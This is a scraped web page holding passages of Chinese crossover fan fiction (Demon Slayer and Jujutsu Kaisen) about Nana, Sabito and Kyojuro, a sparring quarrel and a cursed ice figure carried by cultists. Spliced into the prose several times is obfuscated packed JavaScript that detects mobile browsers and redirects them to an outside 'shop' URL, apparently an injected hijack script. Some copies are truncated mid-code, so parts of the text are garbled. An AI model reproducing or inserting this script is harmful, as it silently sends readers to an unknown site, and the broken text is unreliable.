l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215222|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炼狱杏寿郎明显感觉到锖兔的竹刀向下一压。 啊，原来是因为这个吗？ 炼狱杏寿郎的唇边扬起微笑。 在遮掩身形的尘雾中，他含笑向锖兔发话，在颤抖的刀身哀鸣中，声音几不可闻。 “鳞泷君，你认为……奈奈是你的占有物吗？” 锖兔冰冷的神情空白一瞬：“……你说什么？” 猛地挥开顿在半空中的竹刀，炼狱杏寿郎的声音压得很低：“这难道不是你向我提出切磋的缘由吗？” 后知后觉发现对方在想什么，锖兔怒极反笑：“可笑！” 他的声线如冻结之水，逸散着寒气：“用这么肤浅的理由衡量他人想法，你真是思想偏邪之人！” 炼狱杏寿郎没生气，倒是松快道：“不是这样想就好，毕竟这种想法很不尊重她！如果鳞泷君真的有那么想，那么就算是负伤，我也要替奈奈给你教训才行！” 锖兔额角青筋直跳：“你哪来的立场！” 他用力挥击，刀势如潮水向对面掠去，再次被挥舞的火炎密不透风地挡下。 锖兔心底快速地分析炼狱杏寿郎的招式。 基础扎实，战斗风格灵活稳重，不会被他人的挑衅轻易激怒。 虽然实战经验不足，在某些地方还略显青涩，但炼狱杏寿郎显然有着足够的实力资本。 甚至可以说，他展示出来的战斗天赋和思维已经远远超过了鬼杀队现役的很多普通队员，显而易见会成为未来鬼杀队的强者之一。 ……他认可他的实力。 但是面对奈奈时居然如此轻浮！他转而想到。 对相识几天的少女就能这样直白地做出承诺，这样的男人不行！ 锖兔压着怒气想。 另一边的炼狱杏寿郎亦是如此。 名为锖兔的少年刀势如水龙游云，灵活之间变幻莫测，假以时日一定会成为柱级实力的存在。 但是遇到和奈奈有关的事好像很容易暴躁，不太行啊！ 杏寿郎拧眉。 日野奈奈不知道庭院里两人在想什么，只知道打了半天还没停下来。 虽然势头看起来没之前那么猛，确实像切磋了，但日野奈奈不懂这算不算两人中间一时的中场休息。 她喊了半天嗓子都喊累了，于是闭上嘴，蹙眉叉腰看着已经看不出原貌的训练场。 里面还在砰砰哐哐。 “好吧，好吧，真的不理你们了，简直莫名其妙！”日野奈奈赌气道。 她哐当一下坐下，旁边的点心和茶水已经凉掉了，日野奈奈不嫌弃，牛饮了好几杯茶。 嗓子冒烟了……她开始放空大脑。 要不，听锖兔的，真的先去吃饭？吃完回来看他们继续。 训练了一个下午，就算中间有休息和点心，但到了晚饭这个点，肚子还是慢慢饿了呢。 至于他们俩……饿着活该！ 压根不知道为什么就打起来了，锖兔咻一下就窜过去，杏寿郎也是，噼啪一下就挡下来，接着一发不可收拾。 哈，她不奉陪了，吃饭吃饭！ “诶休。”日野奈奈再次站起身来，端着空掉的盘子往后边走。 结果和一双漂亮的异瞳对上。 一个身形瘦小的孩子扒着墙，面容蜷缩在脖颈间的衣物里，不难看出相貌姣好。 眼睛瞳色一浅一深，浅的那只是漂亮的金色，正冷冰冰地看着她。 日野奈奈眨了眨眼睛。 嗯？ 哪来的小孩？杏寿郎的兄弟吗？ 这几天都没见过啊。 她朝那个方向走了两步，那个孩子却像是受惊了一样，噔噔噔朝后退了几步，又强行令自己停下。 “瑠火夫人喊你们。”他很小声地挤出一句话。 随后身影飞快地消失在墙壁后。 声音小到日野奈奈差点没听清，她下意识想挽留那孩子，但等绕到墙后，已经是空无一人了。 26.此夜 看着这么小只，走得好快。 日野奈奈探头的姿势遗憾地收了回来，她仔细回忆了一下炼狱家的构成人员和状态。 作为炎柱的炼狱槙寿郎，由于去跟主公述职，目前不在府。 久病初愈的炼狱瑠火，作为当家主母这两天忙着与隐沟通重建另一处炼狱宅的事宜。 炼狱家大公子，炼狱杏寿郎，现在正和她的好友锖兔互相交流。 这三位是她最熟悉的。 剩余的便是散步时偶尔会见到的炼狱家二公子，七岁的炼狱千寿郎，和她打招呼的时候很腼腆，有着和父亲大哥一样的火焰色头发。 至于这个黑发异瞳的孩子，从没有人向她提起过。 一边的金瞳是和她一样的色系，只不过颜色冷很多，令人印象深刻。 仆从家的小儿吗，日野奈奈思考。 但她没看错的话，那孩子身上衣服是很新很光滑的绵，裁剪得很适体，并不像平常人家能负担起的。 ……唉，她想那么多干嘛呢，那孩子都跑没影了。 日野奈奈拍了拍脸，把自己游走的思绪拽回来。 话说那孩子带来的话……瑠火夫人找她有什么事呢？ 新入住的炼狱府并没有之前塌了的府邸辽阔，日野奈奈被安排在距离瑠火夫人很近的内宅里。 她回自己的居室擦拭一下，换上了舒适清爽的和服，才顺着廊下灯火去寻瑠火夫人。 天色全暗，夜色渐浓，炼狱瑠火盘着发坐在屋内，见日野奈奈的身影出现在门外，笑了笑。 “奈奈来了啊，请坐。” 她含笑看着奈奈坐在自己对面：“下午和杏寿郎训练的感觉怎么样？” 日野奈奈两眼放光地看着桌案前摆的精致吃食，肚子咕咕叫了起来，她捂着肚子认真道：“炼狱君很厉害，不论是刀式的展现还是体能的续航都令人钦佩，我从他那边学到好多。” 炼狱瑠火听见奈奈的肯定，笑容更深：“那就好，槙寿郎临时有事，无法应允对你的承诺，如果杏寿郎没办法替父应诺的话，那我可真是对不起你了。” “请吃吧，训练一下午，辛苦了。”瑠火说。 日野奈奈道谢，夹起盘中鱼片品味，幸福地眯起了眼睛，余光中她突然发现旁边还有两张桌子，便想起瑠火夫人似乎是让“他们”一起来的来着。 想起那两个人估计还打着，日野奈奈的脸色扭曲一瞬，嘴里鲜美的鱼片泛出一丝苦味。 “……瑠火夫人，那边训练场里锖兔刚好找杏寿郎有事来着，所以只有我一个人先来了。”她小声说，心里有些虚。 自己的朋友和人家的孩子打起来这种事绝对不能直白说出口哇！ 先前在训练场只是生气他们俩不听她说话，但现在在炼狱瑠火的面前，日野奈奈平静下来的气恼情绪尽数转化为羞耻和尴尬。 明明打架的不是自己，但总觉得自己没拦住他们也有责任。 瑠火夫人在这几天处处照拂自己，结果训练第一天就给人家添麻烦这种事情不要啊！ 炼狱瑠火用餐的姿态顿了下，她放下碗筷，思索了一下：“是说杏寿郎和鳞泷君以刀相战的事吗？” 日野奈奈：！ 日野奈奈：“您知道了吗……” 她萎靡地垂下了头，像是做错事的孩子一样不好意思地撇开眼神。 见到少女脸上窘迫的神色，炼狱瑠火莞尔一笑：“在等你们的时候，仆从已经来通知我了，毕竟那里的动静并不小。” 她促狭地看着奈奈：“请不用露出这样的神情，奈奈，这不是什么不好的事。” “男孩子们有时候难免会冲动用事，特别是在有关自己在意的人或事上，心里的情绪总是难以压抑。” 日野奈奈见炼狱瑠火温和的表情，便知道她没有责怪她，放松下来。 只是她有点难以理解：“但是压抑不了的话，他们也可以倾诉吧？如果只是在意什么的话，大大方方说出来，或许我也能帮上忙呢。他们一言不合就打、切磋起来，说实话，我也被吓了一跳。” “我本来以为是锖兔还在生气之前我说的话，但是他完全没对我发火，转而和杏寿郎撞在一起，杏寿郎也欣然接受的样子，我已经彻底搞不懂他们在想什么了。” 少女嘀咕着，沉思着拧起眉毛。 炼狱瑠火掩唇轻笑，眼里满是调侃：“也许是因为在有些人面前难以启齿呢。” 日野奈奈吐槽：“难以启齿什么呀，人长着嘴巴不就是为了说话。而且我们是朋友、是战友，真的有烦恼的话大家更应该集思广益才对。” 炼狱瑠火看着奈奈的眼睛，那是一双纯粹明亮的稚子之眸，点点灿灿的金色缀于其中，如同天边递来的遥遥日光。 “奈奈还是个孩子呢。”瑠火叹息道。 虽然战斗时是可靠的战士，向他人递去援手时手心温暖而有力，但在有些大人心照不明的事情上，奈奈也还是一株懵懂纯洁的幼芽。 想起杏寿郎这几天自告奋勇去给日野奈奈送餐的事情，她又微笑起来。 看孩子们处于不同的阶段，不能不说是一件很有意思的事情。 她温和道：“没事的，鳞泷君和杏寿郎都是有主见、有分寸的孩子，相信他们吧。” 日野奈奈托着腮，也叹了口气：“当然只能相信啦，让他们折腾去好了。只希望他们不要再把场面搞得太夸张就好。” 什么藏在心里的少男心事，完全猜不到的嘛，不说就不说啰。 “而且瑠火夫人这里的餐食这么美味，他们错过可是大损失，只留些白饭糙米给他们好了！” 奈奈赌气道，炼狱瑠火被逗得笑了起来。 日野奈奈扒了口饭，将思索无果的事情彻底抛在脑后。 短暂的用餐后，桌案被人端走，见炼狱瑠火仍盘坐在原地，日野奈奈便知道还有事情。 倒不如说晚餐的闲谈只是小零食，接下来才是正菜。 等仆人完全撤出了房间，炼狱瑠火唇边的笑意淡了下来，转而是有些忧虑的神色。 “其实让小芭内喊你们来，是因为发生了一件异常的事情。”炼狱瑠火说。 那个孩子原来叫小芭内。 日野奈奈的思绪被牵走一瞬，又被炼狱瑠火的话语拉了回来。 “不知道你还记得否前几天的那只鬼？” 日野奈奈点点头：“当然。” 以摸不透的方式跟咒灵狼狈为奸谋害炼狱家的宵小之辈，也是害她瘫了好几天的罪魁祸首。 挥散脑海中浮现的狰狞狼影，炼狱瑠火的下一句话令日野奈奈瞪大了眼睛。 端庄坚韧的女人面上流露出忌惮，她声音低沉：“我怀疑，它还没死。” 日野奈奈错愕：“这怎么可能？” 她、锖兔和炎柱合力周旋击杀的咒灵与鬼，明明在众人眼皮子底下灰飞烟灭了！ 炼狱瑠火抚着额角：“或者说，至少它没全死透。” “这两天，重修原炼狱府的隐成员向我汇报，负责修缮内宅区域的工匠和隐们屡屡出现昏睡不醒的症状，精神一日比一日差。” “我原以为是他们费心过多，便前去慰问，但是……”炼狱瑠火闭了闭眼睛，“我却从他们身上看到了和以前的我一样的情况。” “喃喃自语，恍惚不已，好像隔着一层雾看到了某种令人痛苦的东西。虽然我很难想起那时的感受，但能肯定的是，现在的他们和当时的我是一样的。” 她用力抚着额角，似乎回忆起了非常不适的事物，脸色霎那间变得苍白，被纠缠过的呓语如同附骨之疽从遥远的地方卷土重来。 但在精神再次变差之前，一抹温暖的力量如水般涌入炼狱瑠火的眉心，驱散了不可名状的魇语。 女人睁开眼，只见日野奈奈向她探来大半身子，指尖与她的额头咫尺之距，而从那指尖涌现的正是那股暖光。 少女担心地看着炼狱瑠火。 炼狱瑠火重新坐正，目光柔和下来：“抱歉，让你再次费心了，我没事。” “……总之，虽然很奇怪，但确实出现了之前那只鬼还在时很像的情况，”她说，“但是我们都看不到那种东西，被你称之为咒灵的东西。” “所以，奈奈，可以麻烦你再次帮助我们吗？只是确认情况便好，炼狱家与我们手下暂领的隐愿全力助你。” “……” 脑海中回荡着炼狱瑠火的话语，女人那双如红玛瑙般的眼睛郑重地注视她，其中是探寻和尊重的意味。 日野奈奈已经离开了刚才的座敷。月光越过浅淡黑云，在廊下洒下浅色光华，少女拢着和服走在皎洁的月之道上。 她心里明白，如果她拒绝的话，炼狱瑠火也不会强压她，毕竟死去的鬼是下弦之肆，是能让鬼杀队甲级队员击杀后立刻成柱的存在。几天前惨烈的战况也有目共睹。 如果真是下弦之肆复活的话，现在炎柱刚好不在，绝对是难以解决的大麻烦。 但是—— 少女捏紧了拳，抬起的眼眸倒映着此世之月。 日野奈奈不会放过任何苟活于世、威胁生命的恶物，哪怕再次以自己为代价。 于鬼世生存一月有余，她眼见了鬼的存在，眼见偏僻村庄因鬼的存在顷刻覆灭，眼见萍水相逢的少年因鬼的存在失去家人流离失所，眼见鬼贪得无厌吞噬人类。 心中怒火随着视野的拓展而膨胀，看得越多，便越不能置身事外，将自己视为只寻找家乡的归人，而将根慢慢向这片鬼世延伸，祝愿这片恶鬼肆虐之地也能迎来她想象中的幸福。 许愿一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223596|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平安的世界，没有咒灵的世界，没有鬼的世界。 这样的世界到底在何方呢？ 月亮悲伤地与日野奈奈对视，莹洁月华自夜色中流淌而来，与远处庭院中人的眼睛印成一处。 银瞳的少年在枯水白沙上侧头向这边看来，脸上的疤痕在微芒下如同新月。 “奈奈。”锖兔唤道。 日野奈奈回过神：“锖兔。” 她眨了眨眼睛，茫然神色飞快从脸上消逝，转而叉腰瞪他。 “有人打架终于舍得打完了呢？”日野奈奈一边说一边从缘侧上跳下来，“喊都喊不开，真是的，我怎么不知道你和杏寿郎之间有这么大火气。” 锖兔抿唇不吭声，日野奈奈凑到他面前，弯腰看他，黑马尾在锖兔眼底晃悠着。 “怎么了，打完了还没消气吗？”她问，“还没发泄完呀？” 锖兔与她对视一眼，侧过身挪开了视线，日野奈奈眨眨眼，换了个方向继续和他对视，锖兔撇开头，奈奈追上去继续盯。 日野奈奈：盯—— 锖兔受不了似的向后仰了仰：“干什么。” 日野奈奈向前倾，微微眯眼：“我才是想问这个，锖兔想干什么！” “果然还是在生气吧！但是在生什么气，不可以跟我说说吗？”奈奈问。 “如果是跟我有关的话，我可以和你道歉的，”她忽然想起来之前的想法，“比如说呼吸法，其实我想跟你说我可以尝试水呼的，水呼是我见到的第一种呼吸法，我也很喜欢的哦。” “各种不一样的水流之势，如小溪，如飞沫，如海洋，是很美丽的存在。” “第一次见到锖兔出刀的时候，也是一个像今天一样的月夜呢，那记斩鬼的水呼我到现在还记得住哦，跟记住炎柱前辈的不知火一样，锖兔当时就这样从林子里从天而降，然后——” 日野奈奈笑着退后，做了一个挥击的动作：“水之呼吸·一之型·水面斩！” 空气做的竹刀被少女握在手里，挥击时仿佛真的有刀刃猎猎作响，挥开晦暗低落的心。 她试图逼锖兔的视线转向自己，一字一句都很认真，把自己的心直直敞开。但实际上并不用奈奈怎么努力，锖兔的目光已经顺着她的话语自然而然地落到少女身上了。 锖兔眼中有光芒波动着，随后又沉寂下来：“其实你并不用和我说这些，炼狱君已经告诉我了，他说，你想要尝试一起学习水呼和炎呼。” 他顿了顿：“……但如果只是因为顾忌我的心情，你并不用勉强自己，我说过，我支持你学习炎呼的选择。” 日野奈奈打断了他：“但是锖兔明明就在生气吧。” “这里。”日野奈奈指着自己的脸侧，“这里的肌肉很紧绷哦，锖兔明明还有情绪。” 锖兔一愣，面侧不知何时使的劲下意识松开了。 奈奈盯着他：“而且如果不是因为我当时选择了炎呼，锖兔这两天为什么不跟从前一样来找我呢？” “愿意现身之后也是，不对着我说话，自顾自说完听不懂的话，然后就朝杏寿郎过去了。” “如果没有生气的话，为什么不搭理我呢？” 锖兔的脊背随着奈奈的话越来越僵硬，垂在两侧的手指抽动两下，慢慢成拳。 “我一定得理会你？”他笑起来。 “你不是说不想让自己被当做小孩照顾吗？”锖兔搬出了藤屋时奈奈说的话，“这样岂不是很好？你有自己的空间，我也做自己的事，你完全不用管我想什么。” 语气中带着一种说不出来的刺，锖兔抱着臂，看向了远处：“这样的情况你不满意吗？” “对啊！” 日野奈奈不假思索地说，几乎是锖兔话语落地，她便飞快地承认了。 她很不满意！ 锖兔被日野奈奈的理直气壮惊了一呆。 庭院角落的松树颤抖着针叶，簌簌作响。风中夜鸟的啼鸣也停歇，隔壁廊下仆从走动的声音不知何时也消失了。 此刻万籁俱寂。 日野奈奈环着胸，坦坦荡荡地笑了起来。 “非常、非常不满意！”她强调着程度，眼神明亮，“锖兔明明一直都在我的身边，是锖兔硬挤进来的，成为了我已经习惯了的事实。” “不会允许的，锖兔不把自己的心说给我听，就像小兔子一样气性大大的就径直跑开了！” “你总是下意识隐瞒这些，但你有没有想过，如果你一直不坦白于我的话，我又该如何继续与你相处。” 熟悉的话语落于耳边，锖兔的瞳孔一缩，奈奈看着他：“这是锖兔告诉过我的话。” 日野奈奈拽住锖兔的手，柔软的掌心与锖兔手指间粗糙的茧紧紧相贴。 “轮到我说了——不许逃避哦，鳞泷锖兔！” 27.月亮 在那双眼睛的注视下，锖兔几乎有一种头晕目眩的错觉。 是辫子绑太紧了吗，还是夜风透过干涸的汗吹到了骨头里？好怪异的话语，好奇怪的感觉。 “逃避？”锖兔梦呓般飘出两个字。 开玩笑，这两个字怎么可能会和他扯上关系，真是胡说，奈奈又在胡说八道…… 他想开口反驳，张开的嘴却在奈奈捏紧他的手之后又闭上，狼狈地移开视线。 “没有逃避。”锖兔说道。 只是这句话配上他错开的眼神怎么看怎么欲盖弥彰。 “那你告诉我生气的理由。”奈奈用一种无赖的语气道。 她眼珠子转了转：“再不告诉我的话，我就写信给鳞泷师父和义勇，说锖兔居然还是个会耍脾气的小孩子！” 锖兔睁大眼睛，转头不可置信：“你这做法才是小孩子吧！” 这种小事要告家长，你是三岁小童么！ 日野奈奈翘了翘嘴，想得意地叉腰，却发现自己刚刚与锖兔相贴的手被少年拽得紧紧的，拔不出来。 她用力收手，锖兔没让她得逞，少年手掌收拢，把奈奈的手彻底包在手掌心。 “别闹，我不会逃避的。”锖兔垂下眼睫看两人交握的手，把自己心里奇妙的悸动压下去，“你也不用说这些话。” 太炽热了，太滚烫了，总是用这种能融化人的心的话去捕获他人的日野奈奈啊，他怎么能全须全尾地脱逃呢。 他抬眼看向日野奈奈，喉头滚动两下，声音好像有些艰涩，但那抹艰涩转瞬即逝，如同月夜下昙花一现的萤火。 “我没有对你生气，这是真的。你什么事都没做错，对你生气多么无理由啊。但是若说跟你什么关系都没有，也是假的。” 日野奈奈挑眉，她嚷了起来：“我就说——” 锖兔的脸忽然凑近了，少女被迫住了嘴，免得激动的口水飞人家脸上。 “那么奈奈觉得，是什么会让我和炼狱君两人为同一个人针锋相对呢？” 锖兔的目光忽然很陌生，温和理性的那抹浅银色从他的眼睛里消失了，取而代之的是晦暗汹涌的灰，像是阴影里蛰伏已久的猎手。 一股日野奈奈从没有见过的侵略性向她压来。 锖兔捉起奈奈的一只手，顺着自己的胸口、锁骨、脖颈划过，带着她放在自己覆着伤疤的侧脸上，微微歪头注视着她，肉粉色的鬓发垂落在日野奈奈的指尖，痒得她蜷缩了一下手指。 “现在的奈奈可以理解到哪里呢？” 锖兔说。 “就当我给奈奈的一道小测验吧，如果奈奈能明白的话，那么我就将自己的心敞开给你。” 敞开之后，其间连他自己都还在茫然摸索的情愫，便会理所应当地为奈奈所用了。 奈奈，迟钝的奈奈，你可以帮我解放我的心吗？ 星月落在锖兔的眼瞳里，他将那种玄妙的光辉由对视传递给了日野奈奈，日野奈奈凝视锖兔眼中的月亮与自己，睫毛缓慢地眨了一下。 ……锖兔好像在说什么很了不起的话。 但那是什么意思？好像有很深厚的东西寄宿其中，那是什么？ 她张开唇，舌头却打着结，濡湿的热气在干燥冰冷的空气中泛着白。 日野奈奈在锖兔眼中看到愣在原地的自己，完整的，被收入他眼底的自己。 在那种含着莫名意义的注视下，好半天，她才绞尽脑汁地说出一句话来：“……锖兔又要我猜。” 很小声的：“我又不是锖兔肚子里的蛔虫，怎么可能知道所有事啦，锖兔什么都要我猜也太过分了，你们男人好难懂的。” 她用一种控诉的眼神有些委屈地回看：“当时打架的时候都直接掠过我了，什么叫为同一个人争执呢，谁啊，我要申请提示！” 锖兔看着奈奈拧眉的样子，莫名提着的心放下了，他忽的笑了出来：“笨蛋奈奈。” 日野奈奈：“直接骂笨蛋吗，好啊，笨蛋锖兔，快告诉我吧！” 锖兔扭头：“奈奈测验失败，以后再说吧。” 日野奈奈瞪圆眼睛：“提示呢，提示还没跟我说呢，你是故意逗我玩吗？” 锖兔眉眼弯了弯：“明明没有承诺过提示吧，好可惜呢，奈奈。” “所以，等到奈奈能明白的那天，再全部告诉你吧。” 头顶突然被锖兔轻轻拍了拍，日野奈奈眯了眯眼睛，不可置信道：“我被敷衍了？” 少女的脸上满是怀疑人生。 拜托，她可是超级走心地跟锖兔谈心诶，可恶的锖兔，到底藏了什么小秘密？ 她都这么真诚了，还是不肯跟她说吗？ 锖兔肩膀没控制住抖动起来，心底那丝微渺的遗憾在少女灵动的神情下烟消云散，随后他放声大笑。 笑声在夜间的庭院里回荡，檐间夜鸟应和般出声，廊下跑过一对隐，他们诧异的眼神朝这边投来。 日野奈奈轻轻踢了一脚锖兔：“笑什么，笑什么，不许笑。” 见锖兔笑得停不下来，她磨了磨牙，转身就走。 不跟锖兔说了，真是的，她干正事去了！ 浪费了她的感情，她要伤心了！日野奈奈不高兴地想。 气冲冲挥动的手腕被人拉住，身后的少年咳了两声，平和的嗓音带着仍未消散的笑意。 “我跟你一起去。” 日野奈奈没好气：“你知道我要干什么吗就跟我去，我说我要回房睡觉呢？” 锖兔拉着她的手腕，日野奈奈不得已转过了身，对上少年含笑的银瞳，他道：“早就熟悉奈奈的神情了，困倦的表情可不是这样的哦。” 他的手指在眉尾挑了一下：“眉毛扬了起来，神气扬扬的，一定是要出门吧，带上我吧。” 日野奈奈撇过头：“呵，不要。锖兔对我不好。” 下巴一热，是锖兔的手指。 锖兔轻轻地捏着奈奈的下巴，指腹的温度在风中那么明显，热得奈奈抖索一下，情不自禁地把头转回来。 “唯有陪伴这一点，我会符合你想象中的我的。”锖兔注视着她这么说道，脸颊在夜风与月亮下轮廓柔和，“我会一直——一直在你身边。” “……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好冰，不对，好烫，圣器越来越烫了。” “来对了，一定在这里！” “没想到这么轻松就能完成教主大人的请求，杏子，杏子，父亲很快就能带钱回去了……” “哈哈哈，我可以把债还上了，太好了！” 日野奈奈听着前面两人越发痴狂激动的对话，蹙了蹙眉，思索他们口中的“教主大人”是谁，手中所谓的“圣器”又是什么玩意儿。 来到一段比较空旷的路段，日野奈奈停在竖立的墙后。透过月光，前面两人的姿态一览无遗。 她探出头，凝神向前面人的衣物间看去。 随着他们偷偷摸摸的走动，一角晶莹剔透的物什在日野奈奈视野中一滑而过。 透明的，反射着周围的光，沉默地依附在潜入之人的怀中。 那是…… 日野奈奈的视线被那个东西拉拽。 一块冰？ 28.冰童 冰被雕刻成了小童的模样，光滑表面反射微渺夜光，似笑非笑地与日野奈奈对视一瞬。 冰小童凹陷的眼窝深处，一丝若有似无的黑气蔓延出来。 日野奈奈下意识扣住身旁锖兔的手，唇线抿直，她低声：“……咒力。” 锖兔顺着她的视线看去，一点即通：“那块冰有问题？” 奈奈点了点头：“冰里有凝结的咒力残秽，很奇怪，咒力被稳定地固定在冰里面……已经相当于是咒物了。” 她的眼神落在前面，渐渐拉远距离的两个夜袭之人看上去很普通，留给他们的身后满是破绽。 奈奈的眼神危险起来：“怎么做到的？我们去把他们铐起来问问。” 目的不明，形迹可疑，最重要的是他们怎么做出咒物的，是谁干的？ 日野奈奈的手颤抖起来。 难道这个世界上还有第二个咒术师……？ “他们往之前咒灵鬼消失的地方去了，”锖兔明白这发现对奈奈的意义，他轻轻拍拍奈奈的手，“我们跟上去。” 前面猛冲的两人压根没发现后面的奈奈和锖兔，越是往府内深入，他们的表现便越是激动，按捺不住喜悦。 他们轮流换手捧着那块冰童，低声议论着“圣器越来越烫”，不顾冰发烫是一件多么违背常识的事情。 从琐碎对话中，看得出这两人口中的“教主”同样在寻找拥有咒力的事物，所以才派遣这两个教徒拿着咒物四处寻找，甚至派出去的不止这两人，还有其他队伍。 不过…… 日野奈奈蹙眉。 这些教徒都是普通人，拿着咒物到处跑太危险了，如果有咒灵被吸引来，对普通人来说是无法应对的灾难。 那个被这些人称为“为他们带来永世极乐”的教主是不在意这些人的生命，还是完全不知道咒物会引发这样的灾厄呢？ “等烫到拿不住的时候，我们就摔碎冰童，等教主大人前来。”一个教徒说。 另一人欣然称好。 远远跟着的日野奈奈甚至看到冰童不复剔透的样子，开始隐隐泛红。 她和锖兔对视一眼。 该听的消息都差不多知道了，不能再让这两人真的深入到咒灵鬼消失的地方。 假如下弦之肆真的复生在旧炼狱府内，他们会死在这。 “不行了，已经足够烫了吧？就在这里把冰摔碎好了，教主说他会感应到的。” “也好，那么我来——” 捧着冰童的教徒话音未落，一道人影以看不清的速度闪至他身后，后颈一痛，教徒还没说完就昏了过去。 眼见同伴被突如其来的手刀劈晕，另一个教徒惊慌地看向来人，刚看见肉粉色的头发，自己也顷刻被手刀劈倒。 锖兔眼疾手快地拿住滑落的冰童。 冰童一落入手心，他的手指一僵，强行控制自己不脱手。 日野奈奈随锖兔解决完两人，见锖兔手心被冰童烫得冒烟，眉头一拧。 “阳晖！”她快速施咒，咒力通过术式修复着锖兔烫伤的皮肤，“你快放下这玩意！” 锖兔点头，右手拿刀切下衣角，把冰童小心翼翼地包裹放置在地上。 冰童被羽织碎片包裹着，笑嘻嘻地看着他们。 “……鬼血的味道。”锖兔凝重地说。 很隐晦，如果不是这么近的距离，他甚至无法感知到鬼的气息。 恐怕是很强悍的异能之鬼，实力远超他们至今遇到的所有。 锖兔：“这块冰应该是血鬼术的造物，这只鬼很强，要小心。” 日野奈奈闭了闭眼：“又是咒灵与鬼的结合吗，这只鬼甚至能做出咒物……还在驱使普通人为它做事？” 她的目光投向地上晕倒的两人。 他们被安置在旁边的松树旁，身上衣物陈旧柔软，草鞋磨损严重。 应该都是经济水平不高的平民。 锖兔冷笑：“恐怕都是被欺骗了，居然有鬼将自己伪装成什么教主？这件事必须上报。” 日野奈奈默了默，她解下自己的羽织，披在并排昏迷的两人的身上，他们衣物单薄，羽织覆盖住他们流失的体温。 她刚刚弯腰披好，肩上一重。 奈奈侧头一看，是锖兔把自己的羽织解下来换给了她。 锖兔神情很淡：“奈奈，不要怜悯他们，现在的他们是鬼的帮凶。虽然不知道这只鬼与诅咒有什么关系，但它这番探索一定不怀好意。” 不要对与鬼牵连的人抱有同情和希望，不要将你柔软的心肠落于此处。 日野奈奈眨了眨眼，她笑了笑：“我知道的啦。” 顶着锖兔的眼神，她轻描淡写地对着地上两个教徒的脖子各自又来了两下。 锖兔担忧的目光一顿。 日野奈奈语气欢脱：“放心，我应对这种拎不清的人可有经验了，不会给他们机会捣乱的！” “这种人只要确保他们不会受伤、好好地活着就行了！我只是想让他们睡得更沉一些。” “接下来，我们继续往里走吧。” 日野奈奈朝锖兔伸出手。 锖兔怔住的神思游回，他失笑地与奈奈的手交握。 和奈奈吵吵闹闹久了，差点都快忘了。 奈奈虽然情感上有些迟钝，但也是一位合格的战士啊。 发现还有未知的强悍之鬼潜藏在暗处，利用所做咒物四处搜罗诅咒相关，奈奈和锖兔心中的紧迫感进一步加强。 在那只鬼得到消息前，这片咒灵鬼消散之地的重要性不言而喻。 他们必须先一步确认情报。 召来鎹鸦，将获取的暗鬼消息上报后，日野奈奈小心翼翼地拎着冰童往深处走去。 锖兔的羽织正披在她身上，另一缕布条碎片覆在冰童身上，两端打结，将冰童牢牢固定在小布袋之中。 随着离咒灵裂缝越来越近，隔着空气，奈奈能感受到冰童的气温急剧升高。 她用咒力小心包裹布袋，隔绝开高温。 背抵在刚修建完的石墙后，日野奈奈深呼吸一口，侧头将谨慎的目光投向内宅，前不久她们与下弦鬼的旧日战场。 现下她咒力丰沛，精神集中，再对上下弦之鬼不可能再会像之前一样狼狈。 她提神看去—— “……” 意料之外，意料之中。 日野奈奈撑开的视野内，场地一片空空如也。 不仅空旷，而且被收拾得井井有条，是隐们辛苦过的证明。 日野奈奈思索一番，将冰童重新给锖兔保管：“我过去看看。” 锖兔没有阻拦她，点了点头：“你要小心，我在这里随时准备支援。” 日野奈奈道了声好，别在腰间的咒具悄然出鞘，她高度集中注意力，一步一步向记忆中的那个位置走去。 张开手掌，浅金色的咒力凝聚于手，向前挥发出光芒。 视野中，曾藏身咒灵的缝隙之处泛起波纹，因此次咒力输出量的充沛，比上次更充沛，更显眼。 宛如玻璃罩一般的未知之境再次张开了裂隙。没有力量从中偷袭日野奈奈，它汲取着奈奈的咒力，堪称温顺地朝奈奈敞开。 日野奈奈走得很近，几乎贴在“缝隙”上，在那道缓缓展开的透明墙外，她窥见了何事在其中发生。 在扭曲的波纹中，一团晦暗不明的色彩在缝隙中重新蠕动、凝聚。狼影嚎叫着、痛苦地翻滚着，背上伏着一只从它身体里长出的咒灵。 鬼与咒灵以奇诡的姿态在裂隙内复生、纠缠，像是呕吐物一样粘糊地纠缠在一起。 日野奈奈瞳孔一缩。 她刚想后退，将看到的事物传递给锖兔。 然而刚刚还温顺无比的缝隙像是突然活了过来，在奈奈看见其间一切后，猛然张大了裂隙，一口将她吞了进去！ 少女的身影骤然消失在原地。 远处观察的锖兔霍然起身：“奈奈… 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她想起冰童是那两个奇怪教徒口中的“圣器”，指引着他们找到了缝隙之处。 冰童的冰是血鬼术的造物，里面封存着陌生咒力，与下弦肆一样都牵扯到鬼和咒。 它会带自己找到正在复生的下弦肆吗？ 日野奈奈绷紧了神经，她攥着咒具，谨慎地朝冰童红光指引之处行动。 脚下的触感渐渐变软，慢慢的，有未知的液体黏连着鞋底。日野奈奈控制自己步伐放轻，却还是不由自主地发出咕叽咕叽的粘稠声。 她想起先前咒灵鬼如呕吐物般团一起的样子，胃部涌上止不住的恶心。 强忍着反胃，她终于看到除了黑暗外的事物。 下弦之肆与咒灵彻底融合在了一起，两只头，八条肢体，庞大的躯体笨拙蠕动，呈现混浊的灰黑色。 